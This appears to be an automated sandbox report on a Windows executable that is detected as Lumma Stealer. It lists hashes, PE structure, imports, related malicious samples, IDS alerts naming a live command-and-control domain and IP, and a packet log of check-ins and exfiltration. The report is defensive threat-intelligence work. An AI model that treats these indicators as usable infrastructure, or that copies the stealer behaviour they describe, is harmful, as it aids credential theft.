Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:44:46	API Interceptor	8x Sleep call for process: X2hna87N3Y.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.50.161	wf1Ps82LYF.exe	Get hash	malicious	LummaC	Browse
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tacitglibbr.biz	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.164.37
	wf1Ps82LYF.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://forms.gle/WXkgv9t1iFkxFXZb7	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	RkB7FehGh6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	MV GOLDEN SCHULTE DETAILS.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	https://onedefender.xyz/w/a/s/?lp_key=17343c9645d1ac0fef5c105d161ba25127ffc78983&clickid=ctg89et00fes73cmfgu0&trk=fireclk.xyz&language=de&feed=7539&zone=3dcf5f1b&dm=1	Get hash	malicious	Unknown	Browse	172.67.181.93
	c5bnEkMx.ps1	Get hash	malicious	LummaC	Browse	104.21.64.1
	Instruction_695-18112-002_Rev.PDF.lnk (2).d.lnk	Get hash	malicious	Unknown	Browse	104.21.83.229
	sEOELQpFOB.lnk	Get hash	malicious	RedLine	Browse	188.114.97.6
	ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk	Get hash	malicious	RedLine, SectopRAT	Browse	188.114.97.6
	payload_1.hta	Get hash	malicious	RedLine	Browse	104.21.87.65

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	RkB7FehGh6.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	c5bnEkMx.ps1	Get hash	malicious	LummaC	Browse	104.21.50.161
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	SkaKk8Z1J0.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	N1sb7Ii2YD.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.50.161

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.804689296683032
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	X2hna87N3Y.exe
File size:	800'256 bytes
MD5:	443f4cf9f362a96bbd0845ba6d2859f0
SHA1:	1bf75dea31eaf0c26da3428ae2b8518771989522
SHA256:	e11c9223741b2d1291f1031539da3dd183ce2ac4b2de705d92366c6f61d94aa5
SHA512:	f43bf238027dacc972e98caff32461c680aefe1197be827348bb8bd371f85456352fbebf5bffa2381f6496466da2acef549c01c4e06c8d52727539196755db9a
SSDEEP:	24576:ErtEhokkSG46ZY4vaIAaCzxZY4vaIAaCzs:ErGhokkSG4kdCzvdCzs
TLSH:	FC05010170C0C072D86725BA64F6AF75AE3EF4300F766ADB9B980F799B211C19635B1A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....^g.........."......f........................@.......................................@.....................................P..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40c312
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x675EBBFA [Sun Dec 15 11:22:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	49250672a2ab6e8bdde5f4e329392300

Entrypoint Preview

Instruction
call 00007F5D60BBA05Ah
jmp 00007F5D60BB9EC9h
mov ecx, dword ptr [00432840h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F5D60BBA056h
test esi, ecx
jne 00007F5D60BBA078h
call 00007F5D60BBA081h
mov ecx, eax
cmp ecx, edi
jne 00007F5D60BBA059h
mov ecx, BB40E64Fh
jmp 00007F5D60BBA060h
test esi, ecx
jne 00007F5D60BBA05Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00432840h], ecx
not ecx
pop edi
mov dword ptr [00432880h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00430920h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [004308D4h]
xor dword ptr [ebp-04h], eax
call dword ptr [004308D0h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00430968h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00433D60h
call dword ptr [00430940h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F5D60BC0D92h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30694	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x37000	0xe8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x38000	0x1c78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2cb78	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x28ff8	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x30860	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2646d	0x26600	1cb7d0c9464ff9128ba37efaba3a0910	False	0.5475111970684039	data	6.556524326867543	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x9bec	0x9c00	878d385b80bbd700cbb2c5199eea38b8	False	0.43246694711538464	data	4.997055879664181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x32000	0x252c	0x1600	a99215662023900c738cb0230ba36a9a	False	0.40873579545454547	data	4.766185881298672	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CODE	0x35000	0xef4	0x1000	540c3f0f86009f36fac5556f91f62d2a	False	0.498291015625	data	5.7055594939540075	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.tls	0x36000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x37000	0xe8	0x200	a6b9bc0f9a7419955ff68c6924c37c42	False	0.306640625	data	2.344915704357875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x38000	0x1c78	0x1e00	d59be9c629a3697e2f595ead5e7c7371	False	0.7571614583333334	data	6.452492512245182	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x3a000	0x47200	0x47200	ed9994771f012739118aa84a4b9096a1	False	1.000329525483304	data	7.999382444394363	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x82000	0x47200	0x47200	ed9994771f012739118aa84a4b9096a1	False	1.000329525483304	data	7.999382444394363	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x37060	0x87	XML 1.0 document, ASCII text	English	United States	0.8222222222222222

Imports

DLL	Import
ADVAPI32.dll	CryptContextAddRef
KERNEL32.dll	AcquireSRWLockExclusive, CloseHandle, CompareStringW, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile
USER32.dll	DefWindowProcW, GetMessageW, RegisterClassW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T09:44:44.702846+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.4	54326	1.1.1.1	53	UDP
2024-12-17T09:44:46.252787+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.4	49730	104.21.50.161	443	TCP
2024-12-17T09:44:46.252787+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.50.161	443	TCP
2024-12-17T09:44:47.246583+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.50.161	443	TCP
2024-12-17T09:44:47.246583+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.50.161	443	TCP
2024-12-17T09:44:48.513726+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.4	49731	104.21.50.161	443	TCP
2024-12-17T09:44:48.513726+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.50.161	443	TCP
2024-12-17T09:44:49.565445+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.50.161	443	TCP
2024-12-17T09:44:49.565445+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.50.161	443	TCP
2024-12-17T09:44:51.088601+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.4	49732	104.21.50.161	443	TCP
2024-12-17T09:44:51.088601+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.50.161	443	TCP
2024-12-17T09:44:52.295457+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49732	104.21.50.161	443	TCP
2024-12-17T09:44:53.644621+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.4	49733	104.21.50.161	443	TCP
2024-12-17T09:44:53.644621+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.50.161	443	TCP
2024-12-17T09:44:55.870029+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.4	49734	104.21.50.161	443	TCP
2024-12-17T09:44:55.870029+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.50.161	443	TCP
2024-12-17T09:44:58.597611+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.4	49735	104.21.50.161	443	TCP
2024-12-17T09:44:58.597611+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.50.161	443	TCP
2024-12-17T09:45:03.023443+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.4	49740	104.21.50.161	443	TCP
2024-12-17T09:45:03.023443+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	104.21.50.161	443	TCP
2024-12-17T09:45:06.714844+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.4	49743	104.21.50.161	443	TCP
2024-12-17T09:45:06.714844+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.50.161	443	TCP
2024-12-17T09:45:07.452999+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	104.21.50.161	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 09:44:45.023700953 CET	49730	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:45.023750067 CET	443	49730	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:45.023848057 CET	49730	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:45.027175903 CET	49730	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:45.027190924 CET	443	49730	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:46.252665997 CET	443	49730	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:46.252787113 CET	49730	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:46.256473064 CET	49730	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:46.256506920 CET	443	49730	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:46.256831884 CET	443	49730	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:46.305723906 CET	49730	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:46.305723906 CET	49730	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:46.305922985 CET	443	49730	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:47.246604919 CET	443	49730	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:47.246701956 CET	443	49730	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:47.246778965 CET	49730	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:47.248999119 CET	49730	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:47.249027014 CET	443	49730	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:47.301083088 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:47.301139116 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:47.301203966 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:47.301515102 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:47.301525116 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:48.513598919 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:48.513725996 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:48.515461922 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:48.515477896 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:48.515727997 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:48.517081022 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:48.517101049 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:48.517159939 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.565459013 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.565510988 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.565541983 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.565563917 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.565576077 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.565586090 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.565632105 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.565640926 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.565658092 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.565675020 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.581465960 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.581531048 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.581549883 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.581573963 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.581619978 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.591245890 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.640079975 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.685339928 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.733839989 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.757028103 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.760801077 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.760972977 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.760991096 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.761018038 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.761200905 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.761234999 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.761259079 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.761400938 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.761413097 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.761425018 CET	49731	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.761430979 CET	443	49731	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.872530937 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.872586012 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:49.872689009 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.873043060 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:49.873060942 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:51.088483095 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:51.088601112 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:51.090038061 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:51.090045929 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:51.090280056 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:51.091600895 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:51.091774940 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:51.091801882 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:51.091866970 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:51.091871977 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:52.295471907 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:52.295583963 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:52.295639038 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:52.295906067 CET	49732	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:52.295923948 CET	443	49732	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:52.424551010 CET	49733	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:52.424597979 CET	443	49733	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:52.424686909 CET	49733	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:52.425050974 CET	49733	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:52.425067902 CET	443	49733	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:53.644543886 CET	443	49733	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:53.644620895 CET	49733	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:53.646584988 CET	49733	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:53.646599054 CET	443	49733	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:53.647037029 CET	443	49733	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:53.648575068 CET	49733	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:53.648880005 CET	49733	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:53.648921967 CET	443	49733	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:54.406203032 CET	443	49733	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:54.406316996 CET	443	49733	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:54.406410933 CET	49733	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:54.408658981 CET	49733	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:54.408682108 CET	443	49733	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:54.654217958 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:54.654278040 CET	443	49734	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:54.654355049 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:54.654714108 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:54.654733896 CET	443	49734	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:55.869947910 CET	443	49734	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:55.870028973 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:55.871493101 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:55.871500969 CET	443	49734	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:55.871748924 CET	443	49734	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:55.873018026 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:55.873198032 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:55.873233080 CET	443	49734	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:55.873291969 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:55.873301029 CET	443	49734	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:56.757422924 CET	443	49734	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:56.757527113 CET	443	49734	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:56.757667065 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:56.757702112 CET	49734	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:57.383735895 CET	49735	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:57.383785963 CET	443	49735	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:57.383857965 CET	49735	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:57.384210110 CET	49735	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:57.384223938 CET	443	49735	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:58.597469091 CET	443	49735	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:58.597610950 CET	49735	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:58.645642996 CET	49735	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:58.645680904 CET	443	49735	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:58.646047115 CET	443	49735	104.21.50.161	192.168.2.4
Dec 17, 2024 09:44:58.658598900 CET	49735	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:58.658598900 CET	49735	443	192.168.2.4	104.21.50.161
Dec 17, 2024 09:44:58.658668041 CET	443	49735	104.21.50.161	192.168.2.4
Dec 17, 2024 09:45:00.567850113 CET	443	49735	104.21.50.161	192.168.2.4
